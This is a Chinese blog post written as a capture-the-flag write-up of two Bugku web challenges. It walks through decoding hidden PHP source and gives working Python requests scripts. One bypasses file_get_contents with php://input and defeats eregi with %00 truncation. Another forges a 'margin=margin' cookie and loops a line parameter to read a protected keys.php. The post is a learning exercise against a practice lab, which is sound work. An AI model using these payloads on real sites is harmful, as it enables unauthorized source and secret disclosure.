侧边栏壁纸
博主头像
Johnny博主等级

学无先后,达者为师

  • 累计撰写 9 篇文章
  • 累计创建 4 个标签
  • 累计收到 1 条评论

目 录CONTENT

文章目录

两道Web题

Johnny
2022-07-24 / 0 评论 / 0 点赞 / 90 阅读 / 1,323 字

两道Web题

这两道题不算很难,但这是我第一次用python做的web,想记录一下

never_give_up

​ 这到题目出自bugku,其实也没有多大难度,主要是用burpsuite发包时会出现些问题,导致改了很多payload还是拿不到flag,所有我转向了python的requests库。

  • 打开场景,习惯性的看一下源码,有一段注释掉的html地址

image-20220724123710772

  • 打开网站看看 ,发现它跳转到了bugku的论坛,所有给这个不是纯纯有个大病吗,肯定有玄机。用burpsuite抓一下包。发现有个神秘代码

image-20220724123919989

仔细观察应该是个Base64和url编码的,先用url解码看看

image-20220724133432272

发现有一个跳转,怪不得会跳到bugku的论坛去,然后还把另一段base64加密的代码注释了,去解码看看

image-20220724133534408

还是个url编码的,再用url解一遍

image-20220724133602446

得到这样一个php代码,整理一下


<?php
    if(!$_GET['id']) {
        header('Location: hello.php?id=1');
        exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.')) {
        echo 'no no no no no no no';
        return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and 		eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
        $flag = "flag{***********}" ;
    } else {
        print "never never never give up !!!";
    } ?>

想拿到flag主要得关键就是去看到

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and 		eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

这一行

  • data的值必须是bugku is a nice plateform!,而data是通过a读取文件而来的,我们怎么绕过这一层。

这里可以使用伪协议绕过file_get_contents,那我们就用 php://input,具体绕过可参考

  • 后面的四个条件都是对b的约束,观察到id==0和之后的条件冲突了,注意到是弱相等,所以很常规的用b=0XXXXX去满足这个条件。
  • 长度大于5就没什么好说的
  • eregi是存在00截断漏洞的,并且这个函数已经被弃用了。这个函数进行匹配时遇到%00会结束,所以b的开头需要是%00,这也满足后面的**substr($b,0,1)!=4**
  • 因此payload为 id=0xxxxx&a=php://input&b=%00xxxxx

其中xxx随意。

  • 有一个需要注意,我们用**php://input绕过后,怎么满足$data=="bugku is a nice plateform!"**

这就需要传一个**data='bugku is a nice plateform!'**进去

所以python代码为

import requests
url='http://114.67.175.224:18899/?id=0xxxxx&a=php://input&b=%00xxxxx'
head={'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
data='bugku is a nice plateform!'
html=requests.post(url,headers=head,data=data).text
print(html)

flag成功拿到

image-20220724135500375

cookies

打开之后一团乱码

image-20220724135712673

观察到url中的filename后面的是个base64,解密看看是啥子

image-20220724135748460

得到一个文件名,我们就考虑能不能传filename进去拿到flag

image-20220724135825656

这显然不能,而且url中的line参数也没有传入,我们另辟蹊径。

我们看看index.php有没有东西。

打开网站http://114.67.175.224:15575/index.php?line=1&filename=aW5kZXgucGhw

好像是有东西的,通过改变line可以得到源代码。

献出python

import requests

if __name__ == "__main__":
    for i in range(100):
        url = "http://114.67.175.224:15575/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
        s=requests.get(url)
        if s.text == '':
            break
        else:
            print(s.text)

得到源代码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    $file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
?>

看到源代码中的keys.php,可能flag就在这里面,我们怎么进去呢。

观察到代码,我们先得吧keys.php添加到file_list中,就要使得cookie中有margin=margin这样的键值对

而后传入base64编码的keys.php作为filename的参数

分析完成,开始上代码

import requests

if __name__ == "__main__":
    for i in range(100):
        url = "http://114.67.175.224:15575/index.php?line="+str(i)+"&filename=a2V5cy5waHA="
        s = requests.session()
        s.headers.update({
            'Cookie': 'margin=margin'
        })
        r=s.get(url)
        if r.text == '':
            break
        else:
            print(r.text)

轻松拿到flag

image-20220724140831235

总结

​ 我之前一直在往开发的方向走,所以对敲代码比较熟悉,看到黑色背景的ide就很亲切。做web的时候基本上都用的是burpsuite或者其他工具,今天做题的时候尝试用了一下python,还是挺爽的,所以之后的的web题,可以尝试以下python,同时看看能不能用python复现一些工具,这样也可以更好的了解原理。。。

0

评论区